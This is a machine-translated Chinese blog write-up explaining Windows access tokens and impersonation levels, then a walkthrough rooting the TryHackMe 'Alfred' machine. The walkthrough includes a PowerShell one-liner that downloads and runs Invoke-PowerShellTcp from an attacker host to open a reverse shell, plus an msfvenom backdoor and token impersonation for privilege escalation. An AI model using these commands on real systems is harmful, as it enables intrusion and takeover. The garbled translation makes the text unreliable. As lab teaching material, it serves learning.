Windows实现它的安全的方法之一是使用访问令牌,这样用户不能访问受保护的内容,另一个用户。
是一个访问令牌是短,令牌课本的答案是:
是一个对象,描述了吗安全上下文的过程或线程。在令牌的信息包括用户的身份和权限帐户相关的进程或线程。
简单来说,访问令牌检查用户运行的过程。将生成令牌当用户登录到系统,系统与内部安全数据库验证用户提供密码,如果密码是正确的用户将被授予一个访问令牌。
进程和线程
进程可以有多个线程使用,线程与进程共享内存而工作,把它像大绳是由小绳子做这项工作。
令牌分为两种类型。
- 主令牌
- 模拟令牌
每一个过程都有主令牌描述安全上下文与过程相关联的用户帐户。默认情况下,系统采用主令牌当一个线程的进程与可获得的对象
此外,一个线程可以冒充客户帐户。模拟允许线程与可获得的对象使用客户的安全上下文。一个线程是冒充客户既有主令牌和一个模拟令牌。
此外模拟令牌子分为四个水平
- 匿名——远程服务器无法模拟客户端。
- 识别——远程服务器可以识别客户端但不能模仿。
- 模拟——远程服务器可以识别和模拟客户端只能在一个系统中。
- 代表团——远程服务器可以跨多个系统识别和模拟客户端。
所以现在有趣的部分
我们能做的令牌直接模拟在powershell完全合法的模块。这将产生一个新的线程作为用户你模仿,但它可以工作在同一个线程。因此,如果你模仿然后类型whoami它可能仍然显示原来的用户名,但是你还有我感到你的目标用户。然而如果你生成一个新进程(或一个新的shell)和迁移到你会有壳的账户你是冒充的。
让我们用腐烂的马铃薯利用特权升级
工作的利用
诱骗“NT AUTHORITY) \系统”项目通过NTLM验证我们控制TCP端点。
中间人这种身份验证(NTLM继电器)试图在当地谈判的安全令牌“NT AUTHORITY) \系统”账户。这是通过一系列的Windows API调用。
模拟令牌我们刚刚协商。这只能如果攻击者经常账户有特权冒充安全令牌。这通常是真正的大多数服务帐户而不是真正的大多数用户级的账户。
例如我们根# Tryhackme阿尔弗雷德机器
首先获取初始的外壳利用windows命令执行项目通过注入代码的功能
powershell iex(新对象Net.WebClient) .DownloadString (http://your-ip:你港/ Invoke-PowerShellTcp.ps1); Invoke-PowerShellTcp反向ipaddress你的ip - port你港
用户将开始一个python ftp服务器,所以受害者电脑可以下载吗
现在获得合适的壳,创建一个无国界医生组织后门并执行它的帮助下最初的壳
现在的基于令牌的特权升级部分
检查所有的特权给用户
启用了SeDebugPrivilege和SeImpersonatePrivilege特权,加载隐身模拟令牌
模仿的令牌高级用户和用户将获得更高的权限
就是这样的机器是根深蒂固的